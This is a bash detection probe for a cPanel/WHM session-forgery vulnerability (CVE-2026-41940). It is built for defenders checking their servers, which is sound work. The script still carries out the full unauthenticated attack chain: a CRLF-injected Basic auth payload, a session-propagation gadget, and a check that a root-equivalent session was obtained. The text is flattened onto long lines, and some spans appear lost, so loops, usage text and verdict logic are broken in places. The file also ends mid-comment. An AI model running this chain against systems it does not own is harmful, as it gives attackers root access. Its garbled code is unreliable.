#!/bin/bash # ## # sessionscribe-remote-probe.sh v1.2.2 # (C) 2026, R-fx Networks # This program may be freely redistributed under the terms of the GNU GPL v2 ## # # Detection probe for CVE-2026-41940 (SessionScribe - disclosed 2026-04-28, # cPanel KB 40073787579671). Unauthenticated session forgery in cPanel/WHM # via CRLF injection into the password field of a preauth session. # # ============================================================================ # Researcher credits # ============================================================================ # # Two surfaces under the cPanel/WHM auth-bypass disclosure cluster (2026-04-28): # # CVE-2026-41940 (SessionScribe) # Researcher: Sina Kheirkhah (@SinSinology) / watchTowr Labs. # Public PoC: github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py # Surface: unauthenticated session forgery via CRLF injection into the # password field of a preauth session. Outcome: full root. # This script probes only this surface (full stage 1-4 chain). # # WhmScribe-A # Researcher: Ryan MacDonald, Nexcess Engineering # Ryan MacDonald, rfxn | forged in prod | # Surface: Authorization: WHM : commits username to the # access_log identity slot before token validation. ACL gate holds - # bounded to log-level identity injection (no privilege escalation). # Detection ships in the companion sessionscribe-ioc-scan.sh # (localhost-marker check) and in modsec-sessionscribe.conf rules # 1500010/1500020/1500021. Out of scope for this remote probe. # # ============================================================================ # Vulnerability primitive # ============================================================================ # # whostmgrsession cookie shape `:NAME,OBHEX`. Five shapes fail # Cpanel/Session/Load.pm get_ob_part()'s `,([0-9a-f]{1,64})$` regex: # :NAME (no comma) | :NAME, (empty) | :NAME,GHIJ (non-hex) # :NAME,ABCDEF (uppercase) | :NAME,<65-char> (too long) # When ob is unset, the encoder short-circuits and saveSession() writes # the password verbatim. Authorization: Basic with # CR/LF in VALUE splits `pass=` into canonical session keys including # successful_internal_auth_with_timestamp + hasroot=1 → root forgery. # # ============================================================================ # Patch mechanism (vendor advisory KB 40073787579671) # ============================================================================ # # Patched cpsrvd hex-encodes the password when ob is missing # (`pass=no-ob:`); CR/LF can no longer become standalone keys. # Patched-boundary builds (anything below on the same tier is vulnerable): # 11.86.0.41 11.110.0.97 11.118.0.63 11.126.0.54 # 11.130.0.19 11.132.0.29 11.134.0.20 11.136.0.5 # Tier 86 is patched as a courtesy but remains EOL → patch_status # `patched_eol`. Tiers 112/114/116/120/122/124/128 have NO patch — # upgrade or firewall cpsrvd ports (2082/2083/2086/2087/2095/2096). # # ============================================================================ # Detection chain # ============================================================================ # # Stage 0 GET /login/?login_only=1 (no body, no cookies, no auth) # → harvest cpsrvd build fingerprint: # - Server: response header (cpsrvd/) # - cPanel_magic_revision_ token in HTML body # → derive patch_status from build vs. embedded boundary table: # patched | vulnerable | eol_no_patch | unknown # → side-effect-free, no session created, runs in every probe # by default. Use --fingerprint-only to stop after this stage. # # Stage 1 POST /login/?login_only=1 user=root&pass=wrong # → mint preauth whostmgrsession cookie (`:NAME,OBHEX`) # # Stage 2 GET / # Authorization: Basic \r\n # hasroot=0\r\n # nxesec_canary_=1 )> # Cookie: whostmgrsession=:NAME (OBHEX stripped) # → 307 + Location: /cpsess<10>/ (necessary, not sufficient) # NOTE: cpsrvd 307s ANY cookie-bearing request to /cpsess/ # as URL canonicalization. Stage 2 alone yields false # positives on patched hosts (this is why v1's stage-2-only # verdict was structurally wrong). # # Stage 3 GET /scripts2/listaccts Cookie: whostmgrsession=:NAME # → 401 "Token denied" - propagates raw→cache so the cpsess # token from stage 2's Location becomes readable # # Stage 4 GET /cpsess/json-api/version Cookie: whostmgrsession=:NAME # → HTTP 200 + version JSON VULN (bypass landed) # → HTTP 5xx with "License" body VULN (license-gated past auth) # → HTTP 401/403 SAFE (stage 2 was canonicalization) # # Stage 5 GET /cpsess/logout + GET /logout (best-effort invalidate) # # ============================================================================ # Safety boundary # ============================================================================ # # Stage 3's listaccts handler writes user=root unconditionally — gadget, # not probe choice. Forged session is root-equivalent between stages 3 and # 5 (~1-3s). The probe: omits user= (cross-version dedup inconsistency), # injects hasroot=0 (defense-in-depth), reads only /json-api/version, no # mutating endpoints, invalidates via /cpsess/logout + /logout, # and tags every session with `nxesec_canary_=1`. # # --no-verify (stage 1+2) avoids the privileged window but reverts to a # stage-2 heuristic that FALSE-POSITIVES on patched hosts (307 to # /cpsess/ is normal URL canonicalization). # # ============================================================================ # Cleanup # ============================================================================ # # Stage 5 logout invalidates the forged session; failure → sessions expire # at cpsrvd idle (~30 min). For immediate removal, `--cleanup` prints a # canary-matching rm command to run as root on each formerly-VULN target. # # ============================================================================ # Output modes # ============================================================================ # default pretty per-probe lines + summary verdict (TTY) # --quiet only [VULN] lines + final verdict line # --oneline one verdict line per target (for grep/awk pipelines) # --csv header + one CSV row per probe # --json structured JSON with probe-level results + per-target rollup # --cleanup print the local cleanup command and exit (no probing) # # --fingerprint-only runs stage 0 only — no session created, verdict from # build banner alone. Banners can lie; use the full chain for confirmation. # # ============================================================================ # Exit codes # ============================================================================ # 0 no VULN found # 1 inconclusive results only # 2 one or more VULN targets found # # Dependencies: bash 4+, curl, coreutils (base64, awk, grep, sed, tr, od, mktemp). # No python, no perl, no openssl. set -u SCRIPT_VERSION="1.2.2" # --- Defaults --- TIMEOUT=10 CONNECT_TIMEOUT=5 OUTPUT_MODE="text" # text | quiet | oneline | csv | json ALL_PERMUTATIONS=0 PROXY_DOMAIN="" FORCED_PORT="" FORCED_HOST_HEADER="" FORCED_SCHEME="" AUTO_DISCOVER_HOST=0 NO_COLOR_FLAG=0 PROGRESS=1 NO_VERIFY=0 # --no-verify: stage-2-only mode (v1 heuristic; produces false positives) EMIT_CLEANUP=0 # --cleanup: print local cleanup command and exit (no probing) FINGERPRINT_ONLY=0 # --fingerprint-only: stage 0 only (banner + magic_revision) TARGETS=() # --- Patch-boundary table (CVE-2026-41940) --- # Tier MAJ → first patched build on the .0.x stable branch. # Hosts on tier MAJ with .0. >= boundary are PATCHED. # Hosts on tier MAJ with .0. < boundary are VULNERABLE. # Hosts on a non-stable branch (.1.x / .2.x / .3.x) are UNKNOWN - we don't # know which builds carry the patch on those branches, so we refuse to guess. declare -A PATCH_BOUNDARY=( [86]=41 [110]=97 [118]=63 [126]=54 [130]=19 [132]=29 [134]=20 [136]=5 ) # Tiers with no security patch issued - every build is vulnerable. # Operators must upgrade the major series, migrate, or firewall direct # cpsrvd ports. EOL_TIERS=" 112 114 116 120 122 124 128 " # Tiers that received a back-port SessionScribe patch but remain EOL for # general cPanel support. A host on one of these tiers at-or-above the # boundary is NOT vulnerable to CVE-2026-41940, but the tier itself is # unsupported - operators should still plan an upgrade. patch_status # reports `patched_eol` so triage tooling can distinguish "safe + EOL" # from "safe + supported". EOL_TIERS_PATCHED=" 86 " # --- Per-run nonces --- NONCE=$(od -An -N4 -tx1 /dev/urandom 2>/dev/null | tr -d ' \n') NONCE="${NONCE:-$(printf '%08x' $((RANDOM*RANDOM)))}" CANARY="nxesec_canary_${NONCE}" UA="nxesec-cve-2026-41940-probe/${SCRIPT_VERSION}" # Verdict labels V_VULN="VULN" V_SAFE="SAFE" V_INCONCLUSIVE="INCONCLUSIVE" V_SKIP="SKIP" # --- Color + glyph setup (polyshell-style: TTY detection + NO_COLOR honoring) --- RULE_WIDTH=74 init_colors() { if [[ -t 1 ]] && [[ "$NO_COLOR_FLAG" -eq 0 ]] && [[ "${NO_COLOR:-0}" = "0" ]]; then RED=$'\033[0;31m'; GREEN=$'\033[0;32m'; YELLOW=$'\033[1;33m' CYAN=$'\033[0;36m'; BOLD=$'\033[1m'; DIM=$'\033[2m'; NC=$'\033[0m' ICON_VULN="❌"; ICON_SAFE="✅"; ICON_INC="⚠ "; ICON_SKIP="⬜"; ICON_INFO="ℹ " BOX_TL="┌"; BOX_BL="└"; BOX_H="─"; BOX_V="│"; BAR="▌" RULE_DOUBLE_CH="═"; RULE_SINGLE_CH="─" else RED=''; GREEN=''; YELLOW=''; CYAN=''; BOLD=''; DIM=''; NC='' ICON_VULN="!!"; ICON_SAFE="ok"; ICON_INC="?!"; ICON_SKIP="--"; ICON_INFO="**" BOX_TL="+"; BOX_BL="+"; BOX_H="-"; BOX_V="|"; BAR=">" RULE_DOUBLE_CH="="; RULE_SINGLE_CH="-" fi local i RULE_DOUBLE=""; RULE_SINGLE="" for ((i=0; i INCONCLUSIVE > SAFE) declare -A TARGET_VERDICT=() declare -a TARGET_ORDER=() # Counters N_VULN=0 N_SAFE=0 N_SKIP=0 N_INC=0 N_TOTAL=0 usage() { cat </ as URL canonicalization. Use only for read-only audits. --fingerprint-only Stage 0 only - harvest cpsrvd build banner + cPanel_magic_revision and derive verdict from the embedded patch-boundary table. Side-effect-free (no session minted). Banner-only verdicts are LOWER CONFIDENCE than the full chain; use for fast scoping at fleet scale. Stage 0 also runs by default at the start of every full probe; the extra columns appear in --csv and --json output regardless of mode. --cleanup Print the local cleanup command (matches all past probe canaries: nxesec_canary_*) and exit. No probing performed. Pipe through ssh or run as root on each formerly-VULN target. Tuning: --timeout N Per-request timeout seconds (default ${TIMEOUT}) --connect-timeout N TCP connect timeout (default ${CONNECT_TIMEOUT}) Exit codes: 0 no vulnerable targets found 1 inconclusive results only (no VULN, but at least one INCONCLUSIVE) 2 one or more VULN targets found Examples: # single direct WHM-SSL probe with verbose summary $0 --target 1.2.3.4 --port 2087 # apache proxy test (whm./cpanel./webmail.example.com → 1.2.3.4:443) $0 --target 1.2.3.4 --proxy example.com # exhaustive sweep, JSON to file $0 --target 1.2.3.4 --proxy example.com --all --json > result.json # fleet - quiet mode, exit 2 if any VULN, easy to chain in scripts for h in \$(cat fleet.txt); do $0 --target "\$h" --quiet --no-color || echo "\$h FOUND_VULN" done # fleet - CSV aggregation across many targets ( $0 --csv \$(cat fleet.txt | sed 's/^/--target /' | xargs) ) > fleet-results.csv # batch via stdin printf 'host1\nhost2\nhost3\n' | $0 -- Detection mechanism (full chain - default): Stage 0 GET /login/?login_only=1 (passive fingerprint, no session created) → parse Server: cpsrvd/ → parse cPanel_magic_revision_ from body → derive patch_status: patched | vulnerable | eol_no_patch | unknown CSV/JSON gain columns: server_header,magic_revision,build_string,patch_status Stage 1 POST /login/?login_only=1 user=root&pass=wrong → server returns Set-Cookie: whostmgrsession=, Stage 2 GET / with: Authorization: Basic Cookie: whostmgrsession= (ob_part stripped) → on vulnerable cpsrvd, saveSession writes the CRLF lines as session attributes (the encoder short-circuits when ob_part is missing); 307 + /cpsess/ in Location → on patched cpsrvd, hex_encode_only folds the CRLFs into pass=no-ob:; the same 307 + /cpsess/ still emits as URL canonicalization (false-positive trap for stage-2-only) Stage 3 GET /scripts2/listaccts Cookie: whostmgrsession= → 401 "Token denied" gadget; cpsrvd propagates raw→cache → side effect: writes user=root to session (unavoidable) Stage 4 GET /json-api/version Cookie: whostmgrsession= → HTTP 200 + version JSON → VULN (bypass landed) → HTTP 5xx + "License" → VULN (license-gated past auth) → HTTP 401 / 403 → SAFE (stage 2 was canonicalization) Stage 5 GET /logout + GET /logout - best-effort invalidate Safety: stages 3-5 create a forged session that is root-equivalent for the ~1-3s window between stage 3 and stage 5. No state-changing API calls are performed (no passwd, no createacct). Forged sessions carry a unique nxesec_canary_ attribute for forensic recovery. EOF } # === Helpers (polyshell-style) === log_v() { [[ "$OUTPUT_MODE" = "text" ]] && [[ "${VERBOSE:-0}" = "1" ]] && printf '%s[v]%s %s\n' "$DIM" "$NC" "$*" >&2 || true; } log_w() { printf '%s[!]%s %s\n' "$YELLOW" "$NC" "$*" >&2; } log_info() { case "$OUTPUT_MODE" in text) printf ' %s%s%s %s\n' "$CYAN" "$ICON_INFO" "$NC" "$1" ;; esac } section_header() { case "$OUTPUT_MODE" in text) printf '\n %s━━━ %s%s\n\n' "$BOLD" "$1" "$NC" ;; esac } # Strip "DIRECT-"/"PROXY-" prefix and "@host[:port]" suffix from desc to get # the short role label (WHM-SSL, cPanel, webmail-SSL, etc.) for column display. short_role() { local d=$1 d="${d%%@*}" d="${d#DIRECT-}" d="${d#PROXY-}" printf '%s' "$d" } # Scheme cell - 5 chars, padded so http aligns under https scheme_cell() { case "$1" in https) printf 'https' ;; http) printf 'http ' ;; *) printf '%-5s' "$1" ;; esac } # Port cell - ":2087" or empty (proxy mode uses 443/80 implicitly via host hdr) port_cell() { local p=$1 [[ -z "$p" ]] && p="-" printf ':%-5s' "$p" } # Build cell - 12-char colored cell with the stage-0 build fingerprint. # Color tracks patch_status so vulnerable/EOL builds visually pop alongside # the chain verdict. Falls back to dim "-" when stage 0 produced no # parseable build (transport failure, non-cpsrvd response, or sanitized # Server: header with no magic_revision). build_cell() { local build=$1 status=$2 local color case "$status" in patched) color="$GREEN" ;; patched_eol) color="$CYAN" ;; vulnerable|eol_no_patch) color="$RED" ;; *) color="$DIM" ;; esac if [[ -z "$build" ]]; then # em-dash is 3 bytes / 1 column - printf %-12s pads by byte count, so # the empty cell is hand-padded to 12 visual columns to keep alignment. printf '%s- %s' "$color" "$NC" else printf '%s%-12s%s' "$color" "$build" "$NC" fi } # Box-drawing helpers (text mode) box_top() { local name=$1 local prefix="${BOX_TL}${BOX_H} ${name} " local plen=${#prefix} local fill_len=$(( RULE_WIDTH - plen )) [[ $fill_len -lt 0 ]] && fill_len=0 local fill="" i for ((i=0; i/dev/null || base64 | tr -d '\n'; } # Build URL with IPv6 bracket awareness build_url() { local sch=$1 host=$2 port=$3 if [ -n "$port" ]; then case "$host" in *:*) printf '%s://[%s]:%s' "$sch" "$host" "$port" ;; *) printf '%s://%s:%s' "$sch" "$host" "$port" ;; esac else case "$host" in *:*) printf '%s://[%s]' "$sch" "$host" ;; *) printf '%s://%s' "$sch" "$host" ;; esac fi } # === Patch-status computation === # Maps a parsed cpsrvd build (e.g. "11.134.0.20") to one of: # patched - supported tier, build at-or-above the patch boundary # patched_eol - EOL tier with back-port patch, build at-or-above the # boundary (safe for THIS CVE but tier is unsupported - # operators should still plan an upgrade) # vulnerable - .0.x build below the tier's patch boundary # eol_no_patch - tier on the no-patch list (every build vulnerable) # unknown - empty input, unparseable, or non-stable branch (.1/.2/.3.x) compute_patch_status() { local build="$1" if [[ -z "$build" ]]; then printf 'unknown'; return; fi local v1 v2 v3 v4 IFS='.' read -r v1 v2 v3 v4 <<<"$build" # Expect 11... if [[ "$v1" != "11" ]] || ! [[ "$v2" =~ ^[0-9]+$ ]] || \ ! [[ "$v3" =~ ^[0-9]+$ ]] || ! [[ "$v4" =~ ^[0-9]+$ ]]; then printf 'unknown'; return fi # EOL tier - every build is vulnerable, no patch issued if [[ "$EOL_TIERS" == *" $v2 "* ]]; then printf 'eol_no_patch'; return fi # Non-stable branch (RELEASE/CURRENT/EDGE) - patch boundary unknown if [[ "$v3" -ne 0 ]]; then printf 'unknown'; return fi # Tier with a patch boundary - compare build number local boundary="${PATCH_BOUNDARY[$v2]:-}" if [[ -z "$boundary" ]]; then printf 'unknown'; return fi if [[ "$v4" -ge "$boundary" ]]; then if [[ "$EOL_TIERS_PATCHED" == *" $v2 "* ]]; then printf 'patched_eol' else printf 'patched' fi else printf 'vulnerable' fi } # Returns a short human-readable phrase for the patch_status - used in the # --fingerprint-only verdict detail string. patch_status_phrase() { local status=$1 build=$2 local v2; IFS='.' read -r _ v2 _ _ <<<"$build" case "$status" in patched) printf 'build %s ≥ patch boundary 11.%s.0.%s' "$build" "$v2" "${PATCH_BOUNDARY[$v2]:-?}" ;; patched_eol) printf 'build %s ≥ patch boundary 11.%s.0.%s (EOL tier - safe for this CVE, plan upgrade)' \ "$build" "$v2" "${PATCH_BOUNDARY[$v2]:-?}" ;; vulnerable) printf 'build %s < patch boundary 11.%s.0.%s' "$build" "$v2" "${PATCH_BOUNDARY[$v2]:-?}" ;; eol_no_patch) printf 'build %s on EOL tier (no patch issued - must migrate)' "$build" ;; unknown) printf 'build %s - patch state not in boundary table' "${build:-}" ;; esac } # === Stage 0: passive fingerprint === # Single GET /login/?login_only=1 (no body/cookie/auth). Harvests Server: # `cpsrvd/` and cPanel_magic_revision_ in HTML (survives # Server: stripping). Emits "|||". fingerprint_target() { local url=$1 host_hdr=$2 resolve_pin=${3:-} local hdr_file body_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-fp-h-$$-$RANDOM" body_file=$(mktemp 2>/dev/null) || body_file="/tmp/nxesec-fp-b-$$-$RANDOM" local args=( --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H 'Accept: text/html,*/*' -D "$hdr_file" -o "$body_file" ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") curl "${args[@]}" "${url}/login/?login_only=1" 2>/dev/null local rc=$? if [ "$rc" -ne 0 ]; then rm -f "$hdr_file" "$body_file" printf 'transport_%d|||' "$rc" return 0 fi local server_hdr build magic_rev server_hdr=$(tr -d '\r' < "$hdr_file" | grep -i '^Server:' | head -1 \ | sed -E 's/^[Ss]erver:[[:space:]]*//' | tr -d '|') # Build string: prefer the version inside Server: cpsrvd/; fall # back to a bare 11.X.Y.Z anywhere in the header (some proxies repack the # Server: line). build=$(printf '%s' "$server_hdr" | grep -oE '11\.[0-9]+\.[0-9]+\.[0-9]+' | head -1) # cPanel_magic_revision_ is embedded in every standard cpsrvd # login page. Survives Server: header stripping - second source of truth. magic_rev=$(grep -oE 'cPanel_magic_revision_[0-9]+' "$body_file" 2>/dev/null \ | head -1 | sed 's/cPanel_magic_revision_//') rm -f "$hdr_file" "$body_file" printf 'ok|%s|%s|%s' "$build" "$magic_rev" "$server_hdr" } # === Stage 1: mint preauth session === # resolve_pin → curl --resolve so proxy-domain probes get SNI right under # HTTP/2 strict-Host (Apache 2.4 returns 421 if SNI != Host). # Emits "|": ok | dns_failed | connect_refused | # connect_timeout | tls_failed | http_421 | http__no_cookie | # transport_. mint_preauth() { local url=$1 host_hdr=$2 resolve_pin=${3:-} local hdr_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-hdr-$$-$RANDOM" local args=( --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H 'Accept: */*' --data 'user=root&pass=wrong' -D "$hdr_file" -o /dev/null ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") curl "${args[@]}" "${url}/login/?login_only=1" 2>/dev/null local rc=$? if [ "$rc" -ne 0 ]; then rm -f "$hdr_file" case "$rc" in 6) printf 'dns_failed|'; return 0 ;; 7) printf 'connect_refused|'; return 0 ;; 28) printf 'connect_timeout|'; return 0 ;; 35|52|56|60) printf 'tls_failed|'; return 0 ;; *) printf 'transport_%d|' "$rc"; return 0 ;; esac fi local status cookie loc status=$(head -1 "$hdr_file" | tr -d '\r' | awk '{print $2}') cookie=$(tr -d '\r' < "$hdr_file" \ | grep -i '^Set-Cookie:.*whostmgrsession=' | head -1 \ | sed -E 's/^[Ss]et-[Cc]ookie:[[:space:]]*whostmgrsession=([^;]+).*/\1/') loc=$(tr -d '\r' < "$hdr_file" \ | grep -i '^Location:' | head -1 | sed -E 's/^[Ll]ocation:[[:space:]]*//') rm -f "$hdr_file" if [ -n "$cookie" ]; then printf 'ok|%s' "$(urldecode "$cookie")" elif [ "$status" = "421" ]; then printf 'http_421|' elif [ -n "$status" ] && [ "${status:0:1}" = "3" ] && [[ "$loc" == https://* ]]; then # cpsrvd "force HTTPS" config: this surface 301s to its SSL counterpart. # Same daemon, same patch state - emit a SKIP signal, not INCONC. printf 'redirect_to_ssl|%s' "$loc" elif [ -n "$status" ]; then printf 'http_%s_no_cookie|' "$status" else printf 'transport_unknown|' fi } # === Stage 2: CRLF injection probe === # Payload omits user= (cross-version dedup inconsistency) and hasroot=1. # Stage 3 propagation will write user=root regardless. Inject only # successful_internal_auth_with_timestamp + hasroot=0 + nxesec_canary. inject_probe() { local url=$1 host_hdr=$2 session_base=$3 resolve_pin=${4:-} local now; now=$(date +%s) local payload payload=$(printf 'root:x\r\nsuccessful_internal_auth_with_timestamp=%s\r\nhasroot=0\r\n%s=1' \ "$now" "$CANARY") local b64; b64=$(printf '%s' "$payload" | base64_oneline) local cookie_enc; cookie_enc=$(urlencode_cookie "$session_base") local hdr_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-hdr-$$-$RANDOM" local args=( --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H 'Accept: */*' -H "Authorization: Basic ${b64}" -H "Cookie: whostmgrsession=${cookie_enc}" -D "$hdr_file" -o /dev/null ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") if ! curl "${args[@]}" "${url}/" 2>/dev/null; then rm -f "$hdr_file"; return 1 fi local status loc status=$(head -1 "$hdr_file" | tr -d '\r' | awk '{print $2}') loc=$(tr -d '\r' < "$hdr_file" \ | grep -i '^Location:' | head -1 | sed -E 's/^[Ll]ocation:[[:space:]]*//') rm -f "$hdr_file" printf '%s|%s' "$status" "$loc" } # === Stage 3: do_token_denied propagation gadget === # GET /scripts2/listaccts with ob-stripped cookie. cpsrvd treats the request # as token-denied and writes the (now CRLF-injected) raw session into cache, # making the leaked cpsess token usable for stage-4 verify. Returns HTTP # status code (or empty on transport failure). propagate_session() { local url=$1 host_hdr=$2 session_base=$3 resolve_pin=${4:-} local cookie_enc; cookie_enc=$(urlencode_cookie "$session_base") local hdr_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-hdr-$$-$RANDOM" local args=( --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H 'Accept: */*' -H "Cookie: whostmgrsession=${cookie_enc}" -D "$hdr_file" -o /dev/null ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") curl "${args[@]}" "${url}/scripts2/listaccts" 2>/dev/null local status status=$(head -1 "$hdr_file" | tr -d '\r' | awk '{print $2}') rm -f "$hdr_file" printf '%s' "$status" } # === Stage 4: verify session bypass landed === # GET /json-api/version with ob-stripped cookie. # HTTP 200 → VULN (auth bypass landed; session is usable) # HTTP 5xx + "License" → VULN (license-gated but past auth) # HTTP 401|403 → SAFE (stage-2 307 was URL canonicalization, not bypass) # Returns "status|body-snippet" or empty on transport failure. verify_session() { local url=$1 host_hdr=$2 session_base=$3 cpsess=$4 resolve_pin=${5:-} local cookie_enc; cookie_enc=$(urlencode_cookie "$session_base") local hdr_file body_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-hdr-$$-$RANDOM" body_file=$(mktemp 2>/dev/null) || body_file="/tmp/nxesec-body-$$-$RANDOM" local args=( --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H 'Accept: */*' -H "Cookie: whostmgrsession=${cookie_enc}" -D "$hdr_file" -o "$body_file" ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") if ! curl "${args[@]}" "${url}${cpsess}/json-api/version" 2>/dev/null; then rm -f "$hdr_file" "$body_file"; return 1 fi local status body status=$(head -1 "$hdr_file" | tr -d '\r' | awk '{print $2}') # 160-char snippet, newlines/CRs flattened, double-quotes neutralized for # safe propagation through the |-delimited record format body=$(head -c 160 "$body_file" | tr '\r\n' ' ' | tr -s ' ' | tr '|' ' ' | tr '"' "'") rm -f "$hdr_file" "$body_file" printf '%s|%s' "$status" "$body" } # === Stage 5: best-effort session invalidation === # Calls /cpsess/logout and /logout with the cookie. cpsrvd marks the # session expired on logout, closing the privileged window faster than the # default ~30 min idle timeout. Returns nothing - fire and (mostly) forget. invalidate_session() { local url=$1 host_hdr=$2 session_base=$3 cpsess=$4 resolve_pin=${5:-} local cookie_enc; cookie_enc=$(urlencode_cookie "$session_base") local args=( --silent --insecure --max-time "$CONNECT_TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' -H "Cookie: whostmgrsession=${cookie_enc}" -o /dev/null ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") [ -n "$resolve_pin" ] && args+=(--resolve "$resolve_pin") curl "${args[@]}" "${url}${cpsess}/logout" 2>/dev/null || true curl "${args[@]}" "${url}/logout" 2>/dev/null || true } # === Auto-discover canonical Host header (watchTowr behavior) === discover_canonical() { local url=$1 local hdr_file hdr_file=$(mktemp 2>/dev/null) || hdr_file="/tmp/nxesec-hdr-$$-$RANDOM" curl --silent --insecure --max-time "$TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" \ -A "$UA" -H 'Connection: close' -D "$hdr_file" -o /dev/null \ "${url}/openid_connect/cpanelid" 2>/dev/null local loc loc=$(tr -d '\r' < "$hdr_file" | grep -i '^Location:' | head -1 \ | sed -E 's/^[Ll]ocation:[[:space:]]*//') rm -f "$hdr_file" echo "$loc" | sed -nE 's|^https?://([^:/]+).*$|\1|p' } # === Reachability pre-check === reach_check() { local url=$1 host_hdr=$2 local args=( --silent --insecure --output /dev/null --max-time "$CONNECT_TIMEOUT" --connect-timeout "$CONNECT_TIMEOUT" -A "$UA" -H 'Connection: close' --write-out '%{http_code}' ) [ -n "$host_hdr" ] && args+=(-H "Host: ${host_hdr}") curl "${args[@]}" "${url}/" 2>/dev/null || echo "000" } # === Per-probe output (text mode) === # columns: │ # The build cell shows the stage-0 fingerprint colored by patch_status - # captured on every probe by default, so surfacing it costs nothing. emit_probe_line() { local desc=$1 verdict=$2 detail=$3 http=$4 loc=$5 local sch=${6:-} host=${7:-} port=${8:-} hh=${9:-} case "$OUTPUT_MODE" in text) local role; role=$(short_role "$desc") local scell; scell=$(scheme_cell "$sch") local pcell; pcell=$(port_cell "$port") local rcell; printf -v rcell '%-12s' "$role" local bcell; bcell=$(build_cell "$CUR_BUILD" "$CUR_PATCH_STATUS") case "$verdict" in "$V_VULN") printf ' %s%s%s %s%s %-7s%s %s %s %s %s %s\n' \ "$DIM" "$BOX_V" "$NC" \ "$RED" "$ICON_VULN" "VULN" "$NC" \ "$scell" "$pcell" "$rcell" "$bcell" "${RED}${detail}${NC}" ;; "$V_SAFE") printf ' %s%s%s %s%s %-7s%s %s %s %s %s %s\n' \ "$DIM" "$BOX_V" "$NC" \ "$GREEN" "$ICON_SAFE" "SAFE" "$NC" \ "$scell" "$pcell" "$rcell" "$bcell" "$detail" ;; "$V_INCONCLUSIVE") printf ' %s%s%s %s%s %-7s%s %s %s %s %s %s\n' \ "$DIM" "$BOX_V" "$NC" \ "$YELLOW" "$ICON_INC" "INCONC" "$NC" \ "$scell" "$pcell" "$rcell" "$bcell" "$detail" ;; "$V_SKIP") printf ' %s%s%s %s%s %-7s %s %s %s %s %s%s\n' \ "$DIM" "$BOX_V" "$NC" \ "$DIM" "$ICON_SKIP" "SKIP" \ "$scell" "$pcell" "$rcell" "$bcell" "$detail" "$NC" ;; esac ;; quiet) [[ "$verdict" = "$V_VULN" ]] && \ printf ' %s%s VULN%s %s://%s%s %s %s %s\n' \ "$RED" "$ICON_VULN" "$NC" \ "$sch" "$host" "${port:+:$port}" \ "$(short_role "$desc")" \ "$(build_cell "$CUR_BUILD" "$CUR_PATCH_STATUS")" \ "$detail" ;; csv) # CUR_* are set by the active probe_target() call before record_result # invokes emit_probe_line - same source the parallel R_* arrays read. printf '%s,%s,%s,%s,%s,%s,%s,%s,"%s","%s",%s,%s,%s\n' \ "${host}" "${desc}" "${sch}" "${hh}" "${port}" "${verdict}" "${http}" "${loc}" "${detail//\"/\"\"}" \ "${CUR_SERVER_HDR//\"/\"\"}" "${CUR_MAGIC_REV}" "${CUR_BUILD}" "${CUR_PATCH_STATUS}" ;; # oneline / json: don't print per-probe; emitted in summary esac } # === Record + per-target verdict roll-up === record_result() { # args: desc target verdict detail http_code location scheme host port host_hdr local desc=$1 target=$2 verdict=$3 detail=$4 http=$5 loc=$6 sch=$7 host=$8 port=$9 hh=${10} R_DESC+=("$desc"); R_TARGET+=("$target"); R_VERDICT+=("$verdict") R_HTTPCODE+=("$http"); R_LOCATION+=("$loc"); R_DETAIL+=("$detail") R_SCHEME+=("$sch"); R_HOST+=("$host"); R_PORT+=("$port"); R_HOSTHDR+=("$hh") # Snapshot per-probe stage-0 fingerprint (CUR_* set by probe_target()). R_BUILD+=("$CUR_BUILD"); R_MAGIC_REV+=("$CUR_MAGIC_REV") R_SERVER_HDR+=("$CUR_SERVER_HDR"); R_PATCH_STATUS+=("$CUR_PATCH_STATUS") N_TOTAL=$((N_TOTAL+1)) case "$verdict" in "$V_VULN") N_VULN=$((N_VULN+1)) ;; "$V_SAFE") N_SAFE=$((N_SAFE+1)) ;; "$V_INCONCLUSIVE") N_INC=$((N_INC+1)) ;; "$V_SKIP") N_SKIP=$((N_SKIP+1)) ;; esac # Per-target verdict roll-up. Severity ladder: VULN > SAFE > INCONC. # SAFE outranks INCONC because the patch is binary-wide: if any probed # surface (e.g. :2087) returns a conclusive SAFE, the host is patched # regardless of whether other ports (e.g. :2086) couldn't be probed. # SKIP is informational (e.g. force-SSL redirect) and never participates # in the rollup - it neither initializes nor changes the target verdict. if [[ "$verdict" != "$V_SKIP" ]]; then if [[ -z "${TARGET_VERDICT[$host]:-}" ]]; then TARGET_VERDICT[$host]="$verdict" TARGET_ORDER+=("$host") else local cur="${TARGET_VERDICT[$host]}" if [[ "$verdict" = "$V_VULN" ]] || \ { [[ "$verdict" = "$V_SAFE" ]] && [[ "$cur" = "$V_INCONCLUSIVE" ]]; }; then TARGET_VERDICT[$host]="$verdict" fi fi else # Even 